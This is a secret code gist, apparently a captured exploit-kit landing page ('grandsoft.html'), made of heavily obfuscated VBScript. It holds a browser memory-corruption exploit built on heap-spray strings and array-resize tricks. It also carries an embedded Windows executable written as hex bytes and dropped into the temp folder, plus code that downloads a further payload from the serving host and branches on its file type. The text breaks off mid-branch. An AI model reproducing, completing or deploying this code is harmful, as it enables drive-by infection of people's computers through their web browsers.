Create a gist now

Instantly share code, notes, and snippets.

anonymous /grandsoft.html Secret
Created Feb 11, 2018

Embed
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" dir="ltr"><head><meta http-equiv="X-UA-Compatible" content="IE=10"><meta charset="UTF-8"></head><body><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="en" dir="ltr">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<meta charset="UTF-8">
</head>
<body>
<script type="text/vbscript">
Dim P3dbtEAEsaf9
Dim Z4gDWaXP10
Dim D0BmgifLOPwE11
Dim T9rEETruKMV
Dim h8ODZIkoE12
Dim P0XJTuHZnHV(32)
Dim U7brODevc13
Dim N3txBPhMp(32)
Dim i1bSioas14
J3cNvmszirXu = 1
ggggg0g0g0g0 = 900
Dim T0VzaNRpeTNT15
a0KyVnEOH = J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu +J3cNvmszirXu + 1090 +ggggg0g0g0g0 + J3cNvmszirXu
Dim G8zkTmIs16
q6OUsbODrl=ds("%osQsQ")
fix1 = q6OUsbODrl
B5TPLfrqvXwJhe="Function o0fCUB(O6TWsIlV, E4sLsH While Not m3iZTE.Z2FeU For Each O4DGF In Z4inyv "
fastfix = fix1 & fix1
Dim l1ZavTJtSZ18
f7JiXArOlru = 32
Dim S5TFcNyIAEr19
fix3 = fastfix & fix1
Dim w3oDfoHZDG20
Z6qavyhAzn=ds("%ollll")
zerofix = Z6qavyhAzn
Dim I0LRhyPe21
trifix = zerofix & zerofix & zerofix
H6dhPwcSviXlpz="Set V8tfRrcD = New m4GMXs End Function K8IbyLM = K7PGoSro & Trim(K7NPWEa.g9TAPuKu()) "
K6mfsldCDroJ=ds("%ollQW")
f5mOKnbzEd = fastfix & K6mfsldCDroJ & fix3 & "%u4242%u4242"
Dim Z1GacGor23
K0PNPJBiI=ds("3")
V0UuGbJhTmEd = String(a0KyVnEOH*f7JiXArOlru, K0PNPJBiI)
Dim P4QZFBfC24
T6NGBlAaAHZs = f5mOKnbzEd & V0UuGbJhTmEd
i6uEOyCEaiixcQ=" O6BBLDfa = q7DTO & Trim(I6rZmZ.v7TfPZ()) "
B3puwOSXhFu = UnEscape(T6NGBlAaAHZs)
Dim F0sneHLZKpDT26
Dim I5VHvFLouUS27
Class w9PDdSITqMX
End Class
Class M1FehiVxFGfx
Dim m4cIsbWyhVH()
Private Sub Class_Initialize
Dim z6DEnZhOvz33
ReDim Preserve m4cIsbWyhVH(J3cNvmszirXu, a0KyVnEOH)
Dim K1IWblTQTAkx34
End Sub
Dim x3FDGzfbBEk35
Dim m0CqTZPUmNu36
Public Sub z6IvuMOurWQz()
Dim h5pmkLqgEWpN37
ReDim Preserve m4cIsbWyhVH(J3cNvmszirXu, J3cNvmszirXu)
Dim C6FWkFwyOaX38
End Sub
End Class
Function R5hsVOePBd (F4ErWELVfXqD, Q0fQUraObZT )
G4ViuTwUxpUMDH="Function k2bbCOKM(e8KbKMTa, m4FabXC For Each R0zyc In u9OMX "
T9rEETruKMV = Null
Dim n8DwtgGIH43
Set T9rEETruKMV = New M1FehiVxFGfx
Dim f0JZSEfmTA44
Dim B1pGyoZioR45
For i = 0 To f7JiXArOlru
Dim p2FngpnqCbP46
Set P0XJTuHZnHV(i) = Q0fQUraObZT
Dim R5AQgGMbpVgF47
Next
Dim D8oqGSRCC48
Dim P0lUJCJhQoN49
Set T9rEETruKMV.m4cIsbWyhVH(F4ErWELVfXqD, 2) = Q0fQUraObZT
Dim Z2lxThhg50
Dim T6AXRDnUsER51
Dim A4tkFRKuZyn
G7bOgdKQVBxedq="End Function Set h9Kyw = New M5iUxyrC "
Dim i
Dim Z8BFPoTaD53
For i = 0 To f7JiXArOlru-1
Dim u9nWWNaMRTU54
If Asc(Mid(N3txBPhMp(i), 3, 1)) = VarType(Q0fQUraObZT) Then
Dim U5aAFzFmsW55
A4tkFRKuZyn = strToInt(Mid(N3txBPhMp(i), 3 + 4, 2))
K7XXUaQMyecTxt="Set f9TJZlPz = Nothing Function X1TWxEBi(c1OSvQEG, g2wrMs "
End If
Dim y6BXIahiE57
N3txBPhMp(i) = Null
Dim s4xhQCOai58
Next
K1lLSQxQglOm="Set R6chqzVb = New S3nlXcm "
K3qxLfnlfyBxVBZ=" n4Grgyu = B1gEAWVt & Trim(s7fbxIcx.d9wyAZn()) While Not T0xBLHA.m4McQHaL "
If A4tkFRKuZyn = Null Then
Dim Q0TEHVSva61
document.location.href = document.location.href
Dim D2ZRyRdRX62
Return
y0BKbxovpLMZFEqB="Set J2mWefJk = Nothing c8vfSJTz = W8Fakeq & Trim(Q1Ikt.T9BNAOck()) Set e5SwMA = Nothing "
End If
Dim C7vTXzOX64
Q8ezztKGpSsd="Set O0lCpL = New A2Bknc Sub D1VxfW "
R5hsVOePBd = A4tkFRKuZyn
x8ruAUpXTXlQxRth="Set J7ibT = Nothing End Function "
End Function
Dim y7oBIhZkNiiB67
Dim T1KKCICmII68
Function f7avlCOSX (F4ErWELVfXqD, A4tkFRKuZyn )
Dim Q4qmxhvXECn69
u8CvaHFB=ds("%ollle")
f5mOKnbzEd = fastfix & u8CvaHFB & fix3
Dim n3HwwOZwrKT70
T6NGBlAaAHZs = f5mOKnbzEd & intToStr(A4tkFRKuZyn) & V0UuGbJhTmEd
P7NtiIUAJKiwMSN="End Sub Private Sub Class X5khhTy End Sub "
B3puwOSXhFu = UnEscape(T6NGBlAaAHZs)
Dim u7cyiNtDg72
T9rEETruKMV = Null
s6TsxUSgHKprRx=" M4Jna = X3UwSxAe & Trim(w9RmrmU.O4TSrA()) End Function "
Set T9rEETruKMV = New M1FehiVxFGfx
Dim a7AaXxsoNf74
Dim l3VpulgBFN
Dim b6rQZvCEDd75
l3VpulgBFN = T9rEETruKMV.m4cIsbWyhVH(F4ErWELVfXqD, 2)
Dim M5GSnfdWR76
f7avlCOSX = l3VpulgBFN
Dim B6DSoIJkhHi77
End Function
Z5SayOBqWFbnkiJ="End Sub Function E4IfuBmg(P7iBhQ, k2HNJnf Set x1hQGqH = Nothing "
Dim m9OuJPuTmdL79
Sub Z5CXKirEi (F4ErWELVfXqD, A4tkFRKuZyn )
L8tGXacHgRikC="For Each c1sJFC In H0Bgh "
X8UOBhurWH=ds("%osllq")
f5mOKnbzEd = fastfix & X8UOBhurWH & trifix
Dim F7rmTfrLEI81
T6NGBlAaAHZs = f5mOKnbzEd & intToStr(A4tkFRKuZyn) & V0UuGbJhTmEd
Dim B6XzuMHknL82
B3puwOSXhFu = UnEscape(T6NGBlAaAHZs)
Dim g7MTWIKQPHX83
T9rEETruKMV = Null
Dim w4PmuyHraCf84
Set T9rEETruKMV = New M1FehiVxFGfx
Dim T9iROKVknAsH85
T9rEETruKMV.m4cIsbWyhVH(F4ErWELVfXqD, 2) = CSng(0)
Dim t4SOSBViaQAW86
End Sub
Dim L7xgoDPU87
Dim r0BucfTKDi88
Sub L6AMoigSx (F4ErWELVfXqD, A4tkFRKuZyn )
Dim Z3uNvHBMan89
Dim C3hcdeotRA
Dim l2cIzTFEZu90
q2nzlgHGuTs=ds("%osllq")
f5mOKnbzEd = fastfix & q2nzlgHGuTs & trifix
Dim N4rCUufcpmA91
T6NGBlAaAHZs = f5mOKnbzEd & intToStr(A4tkFRKuZyn) & V0UuGbJhTmEd
C1ItiQomsTQSPeCe="Sub Q1tXmy End Function "
B3puwOSXhFu = UnEscape(T6NGBlAaAHZs)
Dim w3lDNDIOsHh93
T9rEETruKMV = Null
P1OLGZQrpMBcs="End Function Private Sub Class e4BtWle "
Set T9rEETruKMV = New M1FehiVxFGfx
Dim h7PZXagSQEN95
T9rEETruKMV.m4cIsbWyhVH(F4ErWELVfXqD, 2) = C3hcdeotRA
O2DGFqhXmzczrzh="If Len(B8Wqdq.A1zTRrs) > 0 Then "
End Sub
Dim G0VTCKvnT97
Dim p5zstSaH98
Function H7SIdSqqeuD (F4ErWELVfXqD)
Dim q3FLuOneSSEg99
Dim A4tkFRKuZyn
Dim f2ySVyBBNgg100
Dim M4elNFihUxAm
Dim i7wnTxUfSD101
Dim d5TnLqPgBEo
Dim H4vyfPXTPB102
Dim p8bnUOLBa
Dim Z0UXSFwZ103
Set dm = New w9PDdSITqMX
Dim H5mPTWVEvE104
A4tkFRKuZyn = R5hsVOePBd(F4ErWELVfXqD, dm )
Dim q9suBxwpThpZ105
p8bnUOLBa = f7avlCOSX(F4ErWELVfXqD, A4tkFRKuZyn + 8 )
p7mzUtyTegwT="End Function "
M4elNFihUxAm = strToInt(Mid(p8bnUOLBa, 3, 2))
Dim w2FxGOZwL107
p8bnUOLBa = f7avlCOSX(F4ErWELVfXqD, M4elNFihUxAm + 4 )
L6TdpaBNnTQgeWh="Set M7XglWaZ = New v5wKTczU Set x0WSrVW = Nothing End Function "
d5TnLqPgBEo = strToInt(Mid(p8bnUOLBa, 1, 2))
Dim J0rncJFmlAQt109
Z5CXKirEi F4ErWELVfXqD, d5TnLqPgBEo + &H174
Dim u7XNTXPBZpF110
d3NctsTuG()
Dim F8tTbgQEcTQf111
L6AMoigSx F4ErWELVfXqD, d5TnLqPgBEo + &H174
Dim K0wHiIzB112
End Function
Dim b7ZUEPVXJn113
Dim E9uZLAqTu114
Dim J4ArOUDKqAm115
Dim c4VnATDxQAaR116
Dim p6TZQuTdtWi117
e1JRUfRJPbwx="If Len(h4hQUZs.b0qIedzu) > 0 Then "
c8uzIatXDxTrz="For Each O2lTC In B2GtaBE Set X8ZiI = Nothing End Sub "
Sub d3NctsTuG()
Dim x2MCTZxKq120
On Error Resume Next
Dim o7wxNJVT122
b3lQHVJLspzbWV="For Each t5AZmNNu In F2gSPyu End Sub Set G8JqSTw = Nothing "
Dim L9pSFkcxs,S8OzkLWhLo
Dim v2oFrpssmwZ124
L9pSFkcxs=9000
m1LKERQokAuwI="Private Sub Class q6WMlXRH "
S8OzkLWhLo=100
Dim N6vDZnemXRen126
Randomize
Dim x7uspcJIauae127
K7bnqVFWpOi = Int((L9pSFkcxs-S8OzkLWhLo+1)*Rnd+S8OzkLWhLo)
Dim r5KZeTgtwvm128
Dim R0wsUZgEwB129
S1JppsZg=ds("iJJN:ww")
T0ivSJIoN = S1JppsZg & window.location.hostname
E1zxKWmbeZIk="End Function "
g7XCAUGkRu=ds("wEw")
k8wtDJtTnz = T0ivSJIoN & g7XCAUGkRu & K7bnqVFWpOi
Dim x2DTCGORWuf131
T8NEXeQbghXinE=" U3nFONPI = P4LZEuk & Trim(C1lXd.F0bwr()) "
Dim y7ToTnoTmuD133
Dim x9PhkILcqR134
A000AAAAAAA = "Win32_OperatingSystem"
V4KrpicHA=ds("/hU,B,J4:")
Set G2tkVdGxrd=GetObject(V4KrpicHA).InstancesOf(A000AAAAAAA)
Dim E6kVdyTnGGC135
Dim N7pvoKiUDV
Dim c7rWHlkpWnC136
for each g1pgwdfUbDtQ in G2tkVdGxrd
Dim I2UlsPnUOHvR137
N7pvoKiUDV=g1pgwdfUbDtQ.OSLanguage
Dim C6hKZuZrqAN138
next
Dim q9DcNNPK139
SetLocale(N7pvoKiUDV)
Dim A1hWHHEOJJKl140
Dim v3NbvRcoflS141
a0MqTupOKkIz="Sub K9Xwad End Sub "
Dim N5DilbVdII143
Dim c8SwHTPSiBkC144
Dim k4mUJnTdJL145
n8Jdrhll=ds("6hUfTT9.6hUfTT9c8Co84J.v.Q")
Set y2FbJexJWxV=CreateObject(n8Jdrhll)
Dim l7JxZLdIN146
y2FbJexJWxV.SetProxy 0
Dim f8NZyGCXRCl147
H3liPwIZlp=ds("M2T")
y2FbJexJWxV.Open H3liPwIZlp,k8wtDJtTnz,0
Dim Z2FpfCqGzd148
y2FbJexJWxV.Send
Dim q5sysdbKrqa149
If 200=y2FbJexJWxV.status Then
Z0 = "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0"
W2UtObuTxemDNapy=" Z8uutZ = N2tHeG & Trim(D0Okma.g5TTbsm()) "
M5kdstlMVI=y2FbJexJWxV.responseBody
E101 = ",&h"
e2WTgZmSSSSSSSSSSJWCbxR=" H1SDmpG = d8cTQp & Trim(J1mJv.r6afNa()) Function M4Qve(b4kTSH, i9CrD "
Dim o4NzFkvN153
Dim t5nThcTg154
Dim W6SNUdBfXfk155
Z001 = "&h4D"&E101&"5A"&E101&"80,0"&E101&"01,0,0,0"&E101&"04,0"&E101&"10,0"&E101&"FF"&E101&"FF,0,0"&E101&"40"&E101&"01,0,0,0,0,0,0"&E101&"4"&Z0&",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"80,0,0,0"&E101&"0E"&E101&"1F"&E101&"BA"&E101&"0E,0"&E101&"B4"&E101&"09"&E101&"CD"&E101&"21"&E101&"B8"&E101&"01"&E101&"4C"&E101&"CD"&E101&"21"&E101&"54"&E101&"68"&E101&"69"&E101&"73"&E101&"20"&E101&"70"&E101&"72"&E101&"6F"&E101&"67"&E101&"72"&E101&"61"&E101&"6D"&E101&"20"&E101&"63"&E101&"61"&E101&"6E"&E101&"6E"&E101&"6F"&E101&"74"&E101&"20"&E101&"62"&E101&"65"&E101&"20"&E101&"72"&E101&"75"&E101&"6E"&E101&"20"&E101&"69"&E101&"6E"&E101&"20"&E101&"44"&E101&"4F"&E101&"53"&E101&"20"&E101&"6D"&E101&"6F"&E101&"64"&E101&"65"&E101&"2E"&E101&"0D"&E101&"0A"&E101&"24,0,0,0,0,0,0,0,0"&E101&"50"&E101&"45,0,0"&E101&"4C"&E101&"01"&E101&"04,0"&E101&"19"&E101&"F0"&E101&"0F"&E101&"5A,0,0,0,0,0,0,0,0"&E101&"E0,0"&E101&"0E"&E101&"21"&E101&"0B"&E101&"01"&E101&"01"&E101&"45,0"&E101&"02,0,0,0"&E101&"06,0,0,0,0,0,0,0"&E101&"20,0,0,0"&E101&"20,0,0,0"&E101&"10,0,0,0,0"&E101&"40,0,0"&E101&"10,0,0,0"&E101&"02,0,0"&E101&"01,0,0,0,0,0,0,0"&E101&"04,0,0,0,0,0,0,0,0"&E101&"50,0,0,0"&E101&"04,0,0"&E101&"3D"&E101&"BA,0,0"&E101&"02,0"&E101&"40,0,0"&E101&"10,0,0,0"&E101&"10,0,0,0,0"&E101&"01,0,0,0,0,0,0,0,0,0"&E101&"10,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"30,0,0"&E101&"FC,"&Z0&",0,0,0,0,0,0,0,0"&E101&"40,0,0"&E101&"2A,"&Z0&","&Z0&","&Z0&","&Z0&",0,0,0"&E101&"2E"&E101&"64"&E101&"61"&E101&"74"&E101&"61,0,0,0"&E101&"1D"&E101&"01,0,0,0"&E101&"10,0,0,0"&E101&"02,0,0,0"&E101&"04,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"40,0,0"&E101&"C0"&E101&"2E"&E101&"74"&E101&"65"&E101&"78"&E101&"74,0,0,0"&E101&"29"&E101&"01,0,0,0"&E101&"20,0,0,0"&E101&"02,0,0,0"&E101&"06,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"20,0,0"&E101&"60"&E101&"2E"&E101&"69"&E101&"64"&E101&"61"&E101&"74"&E101&"61,0,0"&E101&"FC,0,0,0,0"&E101&"30,0,0,0"&E101&"02,0,0,0"&E101&"08,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"40,0,0"&E101&"C0"&E101&"2E"&E101&"72"&E101&"65"&E101&"6C"&E101&"6F"&E101&"63,0,0"&E101&"2A,0,0,0,0"&E101&"40,0,0,0"&E101&"02,0,0,0"&E101&"0A,0,0,0,0,0,0,0,0,0,0,"
e2WTgZmJWCbxR=" H1SDmpG = d8cTQp & Trim(J1mJv.r6afNa()) Function M4Qve(b4kTSH, i9CrD "
Dim z5pFnpFQn151
Dim P0AcehSyyLv152
Dim q1nxeRHUPP156
E8DuOWDdSo=dd("VRFhNJhUB.rh08Vd4J8,zaj8RJ")
AB009 = Z001&"0,0,0,0"&E101&"40,0,0"&E101&"42,"&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&",0"&E101&"45"&E101&"FB"&E101&"1E,"&Z0&",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"87"&E101&"D4"&E101&"D3"&E101&"D3"&E101&"80"&E101&"80"&E101&"81"&E101&"D2"&E101&"C9"&E101&"D2"&E101&"D7"&E101&"D2"&E101&"D0"&E101&"C9"&E101&"D0"&E101&"D0"&E101&"D5"&E101&"DD"&E101&"C9"&E101&"85"&E101&"87"&E101&"80"&E101&"D6"&E101&"C9"&E101&"86"&E101&"DC"&E101&"D1"&E101&"D4"&E101&"D1"&E101&"DC"&E101&"D5"&E101&"86"&E101&"DC"&E101&"82"&E101&"D2"&E101&"D0"&E101&"E4"&E101&"B7"&E101&"9D"&E101&"97"&E101&"90"&E101&"81"&E101&"89"&E101&"B6"&E101&"8B"&E101&"8B"&E101&"90"&E101&"E4"&E101&"87"&E101&"E4"&E101&"89"&E101&"E4"&E101&"80"&E101&"E4"&E101&"CA"&E101&"E4"&E101&"81"&E101&"E4"&E101&"9C"&E101&"E4"&E101&"81"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"CB"&E101&"E4"&E101&"87"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"97"&E101&"E4"&E101&"90"&E101&"E4"&E101&"85"&E101&"E4"&E101&"96"&E101&"E4"&E101&"90"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"C1"&E101&"E4"&E101&"B7"&E101&"E4"&E101&"9D"&E101&"E4"&E101&"97"&E101&"E4"&E101&"A2"&E101&"E4"&E101&"8D"&E101&"E4"&E101&"88"&E101&"E4"&E101&"81"&E101&"E4"&E101&"8A"&E101&"E4"&E101&"85"&E101&"E4"&E101&"89"&E101&"E4"&E101&"81"&E101&"E4"&E101&"C1"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"C2"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"96"&E101&"E4"&E101&"80"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"CB"&E101&"E4"&E101&"97"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"CB"&E101&"E4"&E101&"95"&E101&"E4"&E101&"C4"&E101&"E4"&E101&"B7"&E101&"E4"&E101&"9D"&E101&"E4"&E101&"97"&E101&"E4"&E101&"90"&E101&"E4"&E101&"81"&E101&"E4"&E101
Set T6NGBlAaAHZs=CreateObject(E8DuOWDdSo)
Dim a4zZJfgIcMx157
B7DFLhbzKw=T6NGBlAaAHZs.GetSpecialFolder(2)
Dim n5hwMrthwS158
N6CGLRDm=dd("\\Vd4J8,DE")
H0PcMhbbztak=B7DFLhbzKw & N6CGLRDm
Dim k3OWENIk159
Dim c4bKhZyZSt160
If Not T6NGBlAaAHZs.FolderExists(H0PcMhbbztak) Then
Dim v8dGSZFVB161
T6NGBlAaAHZs.CreateFolder(H0PcMhbbztak)
Dim X3KEKxWEHKZw162
End If
Dim P2pmEmHG163
Dim J8wIuNwpTov,J2wdqrdSS,r3kGePyKhoWw
T3CpEdqtmEtcX="End Function Private Sub Class h5TyNRFX "
J8wAAAAAAIuNwpTov = AB009&"89"&E101&"E4"&E101&"D7"&E101&"E4"&E101&"D6"&E101&"E4"&E101&"E4"&E101&"E4,"&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&",0,0,0,0,0,0,0"&E101&"55"&E101&"89"&E101&"E5"&E101&"83"&E101&"7D"&E101&"0C"&E101&"01"&E101&"0F"&E101&"85"&E101&"D0,0,0,0"&E101&"68"&E101&"AA,0,0,0"&E101&"59"&E101&"68"&E101&"33"&E101&"09"&E101&"55,0"&E101&"31"&E101&"C9"&E101&"B9"&E101&"96,0,0,0"&E101&"B8"&E101&"22"&E101&"99"&E101&"55,0"&E101&"89"&E101&"C3"&E101&"49"&E101&"90"&E101&"80"&E101&"B1"&E101&"87"&E101&"10"&E101&"40,0"&E101&"E4"&E101&"90"&E101&"85"&E101&"C9"&E101&"75"&E101&"F2"&E101&"68"&E101&"87"&E101&"10"&E101&"40,0"&E101&"6A"&E101&"01"&E101&"6A"&E101&"01"&E101&"6A,0"&E101&"FF"&E101&"15"&E101&"6C"&E101&"30"&E101&"40,0"&E101&"68"&E101&"AA,0,0,0"&E101&"90"&E101&"59"&E101&"FF"&E101&"15"&E101&"70"&E101&"30"&E101&"40,0"&E101&"90"&E101&"85"&E101&"C0"&E101&"0F"&E101&"85"&E101&"82,0,0,0"&E101&"68"&E101&"44"&E101&"33,0,0"&E101&"59"&E101&"89"&E101&"D9"&E101&"31"&E101&"C9"&E101&"B9"&E101&"44"&E101&"44"&E101&"03,0"&E101&"66"&E101&"C7"&E101&"05,0"&E101&"10"&E101&"40,0"&E101&"44,0"&E101&"68"&E101&"39"&E101&"58,0,0"&E101&"59"&E101&"89"&E101&"D9"&E101&"66"&E101&"C7"&E101&"05"&E101&"2A"&E101&"10"&E101&"40,0"&E101&"01"&E101&"01"&E101&"90"&E101&"E8"&E101&"7C,0,0,0"&E101&"68"&E101&"49"&E101&"39,0,0"&E101&"59"&E101&"89"&E101&"D9"&E101&"31"&E101&"C9"&E101&"B9"&E101&"11"&E101&"55,0,0"&E101&"31"&E101&"C9"&E101&"31"&E101&"C9"&E101&"31"&E101&"C9"&E101&"E8"&E101&"42,0,0,0"&E101&"68"&E101&"44"&E101&"33,0,0"&E101&"90"&E101&"90"&E101&"90"&E101&"59"&E101&"90"&E101&"90"&E101&"89"&E101&"D9"&E101&"31"&E101&"C9"&E101&"B9"&E101&"44"&E101&"44"&E101&"03,0"&E101&"68"&E101&"2A"&E101&"10"&E101&"40,0"&E101&"68,0"&E101&"10"&E101&"40,0"&E101&"6A,0"&E101&"6A,0"&E101&"6A,0"&E101&"6A,0"&E101&"6A,0"&E101&"6A,0"&E101&"68"&E101&"B7"&E101&"10"&E101&"40,0"&E101&"6A,0"&E101&"6A,0"&E101&"FF"&E101&"15"&E101&"DC"&E101&"30"&E101&"40,0"&E101&"B8"&E101&"01,0,0,0"&E101&"C9"&E101&"C2"&E101&"0C,0"&E101&"68"&E101&"61"&E101&"10"&E101&"40,0"&E101&"68"&E101&"AC"&E101&"10"&E101&"40,0"&E101&"FF"&E101&"15"&E101&"78"&E101&"30"&E101&"40,0"&E101&"68"&E101&"66"&E101&"66"&E101&"06,0"&E101&"59"&E101&"89"&E101&"D9"&E101&"31"&E101&"C9"&E101&"B9"&E101&"44"&E101&"44"&E101&"03,0"&E101&"C3"&E101&"90"&E101&"68"&E101&"58"&E101&"10"&E101&"40,0"&E101&"90"&E101&"59"&E101&"90"&E101&"68"&E101&"5D"&E101&"10"&E101&"40,0"&E101&"90"&E101&"59"&E101&"90"&E101&"68"&E101&"04"&E101&"01,0,0"&E101&"68"&E101&"61"&E101&"10"&E101&"40,0"&E101&"FF"&E101&"15"&E101&"74"&E101&"30"&E101&"40,0"&E101&"90"&E101&"C3,"&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0"&E101&"58"&E101&"30,0,0,0,0,0,0,0,0,0,0"&E101&"3C"&E101&"30,0,0"&E101&"6C"&E101&"30,0,0"&E101&"D4"&E101&"30,0,0,0,0,0,0,0,0,0,0"&E101&"4A"&E101&"30,0,0"&E101&"DC"&E101&"3"&Z0&",0,0,0"&E101&"4B"&E101&"45"&E101&"52"&E101&"4E"&E101&"45"&E101&"4C"&E101&"33"&E101&"32"&E101&"2E"&E101&"44"&E101&"4C"&E101&"4C,0,0"&E101&"61"&E101&"64"&E101&"76"&E101&"61"&E101&"70"&E101&"69"&E101&"33"&E101&"32"&E101&"2E"&E101&"44"&E101&"4C"&E101&"4C,0,0"&E101&"80"&E101&"30,0,0"&E101&"90"&E101&"30,0,0"&E101&"A0"&E101&"30,0,0"&E101&"B8"&E101&"30,0,0,0,0,0,0"&E101&"80"&E101&"30,0,0"&E101&"90"&E101&"30,0,0"&E101&"A0"&E101&"30,0,0"&E101&"B8"&E101&"30,0,0,0,0,0,0,0,0"&E101&"43"&E101&"72"&E101&"65"&E101&"61"&E101&"74"&E101&"65"&E101&"45"&E101&"76"&E101&"65"&E101&"6E"&E101&"74"&E101&"41,0,0,0,0"&E101&"47"&E101&"65"&E101&"74"&E101&"4C"&E101&"61"&E101&"73"&E101&"74"&E101&"45"&E101&"72"&E101&"72"&E101&"6F"&E101&"72,0,0,0,0"&E101&"47"&E101&"65"&E101&"74"&E101&"57"&E101&"69"&E101&"6E"&E101&"64"&E101&"6F"&E101&"77"&E101&"73"&E101&"44"&E101&"69"&E101&"72"&E101&"65"&E101&"63"&E101&"74"&E101&"6F"&E101&"72"&E101&"79"&E101&"41,0,0,0,0"&E101&"53"&E101&"65"&E101&"74"&E101&"45"&E101&"6E"&E101&"76"&E101&"69"&E101&"72"&E101&"6F"&E101&"6E"&E101&"6D"&E101&"65"&E101&"6E"&E101&"74"&E101&"56"&E101&"61"&E101&"72"&E101&"69"&E101&"61"&E101&"62"&E101&"6C"&E101&"65"&E101&"41,0,0,0"&E101&"E4"&E101&"30,0,0,0,0,0,0"&E101&"E4"&E101&"30,0,0,0,0,0,0,0,0"&E101&"43"&E101&"72"&E101&"65"&E101&"61"&E101&"74"&E101&"65"&E101&"50"&E101&"72"&E101&"6F"&E101&"63"&E101&"65"&E101&"73"&E101&"73"&E101&"41"&E101&"73"&E101&"55"&E101&"73"&E101&"65"&E101&"72"&E101&"57,"&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&",0,0,0"&E101&"20,0,0"&E101&"2A,0,0,0"&E101&"2A"&E101&"30"&E101&"35"&E101&"30"&E101&"41"&E101&"30"&E101&"4E"&E101&"30"&E101&"6D"&E101&"30"&E101&"7E"&E101&"30"&E101&"B9"&E101&"30"&E101&"BE"&E101&"30"&E101&"CF"&E101&"30"&E101&"D9"&E101&"30"&E101&"E7"&E101&"30"&E101&"EC"&E101&"30"&E101&"F2"&E101&"30"&E101&"08"&E101&"31"&E101&"10"&E101&"31"&E101&"1D"&E101&"31"&E101&"23"&E101&"31,"&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&","&Z0&",0,0,0,0,0,0,0,0,0,0"
J8wIuNwpTov= Split(J8wAAAAAAIuNwpTov, ",")
Dim k7dVOvwsBHgv165
For i=0 to Ubound(J8wIuNwpTov)
Dim H2yFHPQIfJZ166
J8wIuNwpTov(i) = Chr(J8wIuNwpTov(i))
Dim S5eyVTTLa167
Next
Dim T5TxVWKccGh168
N0JvtGQBJs=ds("")
J2wdqrdSS = Join(J8wIuNwpTov,N0JvtGQBJs)
Dim V0NOyyAnhRx169
V5TivzDvG=dd("4i800DE.y00")
r3kGePyKhoWw = T6NGBlAaAHZs.BuildPath(H0PcMhbbztak,V5TivzDvG)
Dim q9ooffWaC170
Set V0UuGbJhTmEd=T6NGBlAaAHZs.CreateTextFile(r3kGePyKhoWw)
Dim V3RNkdAV171
V0UuGbJhTmEd.Write J2wdqrdSS
Dim T1fEvmUyhL172
V0UuGbJhTmEd.Close
G3WEvklKgXNJwiqW="Function O3NEav(v6bIyvx, f4lfEx End Sub "
Dim P2wzZCLWHSF174
Dim N9cOroMZtKnN175
f6TzNeihtuDbaT="Sub B9Ono End Sub Function a1necNa(i7QscJ, x9vlsqu "
Dim R6hNlDHLe177
m3QHtTVXHUCauyg="End Sub For Each o8sFe In z1Qhm Sub H5dvU "
Z5cTHoVhtr=dd("quUJ8UJ-3h4Nu4hJhuU")
x9wbZaCWhGQ = y2FbJexJWxV.GetResponseHeader(Z5cTHoVhtr)
A0DoNsDVdzbUpJ="Set S1PLuSA = New E7RdHp Set D8QwpX = New V6UOC "
Dim r3yUgVhCxMJo180
m9ORhFRNJNGO=ds(".j4")
if InStr(x9wbZaCWhGQ,m9ORhFRNJNGO)<>0 Then
H0EPpXhHPoVQ="Private Sub Class P7AWMXqp End Sub "
G3VBDExWTeny=ds(".j4")
F2LrTnlkLKKM = G3VBDExWTeny
Dim Q7uqGcbzDPQx182
P5vAwFTr=ds("R4RFhNJ ")
a0hPCwHTdUE = P5vAwFTr
Dim o6TJrpletrxM183
r2fWdTCe=dd(".5a4")
elseif InStr(x9wbZaCWhGQ,r2fWdTCe)<>0 Then
k1FnOSKnmJMBKl="End Sub End Function "
S7dkuWxAap=dd(".5a4")
F2LrTnlkLKKM = S7dkuWxAap
Dim v4botsNwui185
M9ClqpEZrSZP=dd("R4RFhNJ ")
a0hPCwHTdUE = M9ClqpEZrSZP
O6TZbnxZuwTkwJd="While Not A8CTPWTB.E9lMTyuv Function s5Ouen(I0LuSTlt, q5xxi "
d4yPTTIHVh=dd(".y00")
elseif InStr(x9wbZaCWhGQ,d4yPTTIHVh)<>0 Then
